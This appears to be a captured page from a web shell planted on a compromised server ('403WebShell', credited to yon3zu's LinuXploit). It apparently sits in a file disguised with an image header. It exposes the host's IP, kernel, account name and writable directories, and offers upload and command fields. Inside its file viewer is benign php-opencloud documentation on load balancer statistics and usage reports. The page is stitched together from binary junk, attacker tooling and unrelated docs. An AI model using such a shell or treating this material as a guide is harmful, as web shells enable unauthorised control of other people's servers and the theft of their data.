����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.141.24.158
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/load-balancer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/load-balancer/stats.rst
Statistics and Usage Reports
============================

.. include:: lb-setup.sample.rst

Retrieve LB stats
-----------------

You can retrieve detailed stats about your load balancer, including the
following information:

-  ``connectTimeOut`` – Connections closed by this load balancer because
   the 'connect_timeout' interval was exceeded.
-  ``connectError`` – Number of transaction or protocol errors in this
   load balancer.
-  ``connectFailure`` – Number of connection failures in this load balancer.
-  ``dataTimedOut`` – Connections closed by this load balancer because
   the 'timeout' interval was exceeded.
-  ``keepAliveTimedOut`` – Connections closed by this load balancer
   because the 'keepalive_timeout' interval was exceeded.
-  ``maxConn`` – Maximum number of simultaneous TCP connections this
   load balancer has processed at any one time.

.. code-block:: php

  /** @var $stats OpenCloud\LoadBalancer\Resource\Stats **/
  $stats = $loadBalancer->stats();


Usage Reports
-------------

The load balancer usage reports provide a view of all transfer activity,
average number of connections, and number of virtual IPs associated with
the load balancing service. Current usage represents all usage recorded
within the preceding 24 hours. Values for both incomingTransfer and
outgoingTransfer are expressed in bytes transferred.

The optional startTime and endTime parameters can be used to filter all
usage. If the startTime parameter is supplied but the endTime parameter
is not, then all usage beginning with the startTime will be provided.
Likewise, if the endTime parameter is supplied but the startTime
parameter is not, then all usage will be returned up to the endTime
specified.

.. code-block:: php

  # View billable LBs
  $billable = $service->billableLoadBalancerList();

  foreach ($billable as $loadBalancer) {
     /** @var $loadBalancer OpenCloud\LoadBalancer\Resource\LoadBalancer **/

     # View usage
     /** @var $usage OpenCloud\LoadBalancer\Resource\UsageRecord **/
     $usage = $loadBalancer->usage();

     echo $usage->averageNumConnections, PHP_EOL;
  }

Youez - 2016 - github.com/yon3zu
LinuXploit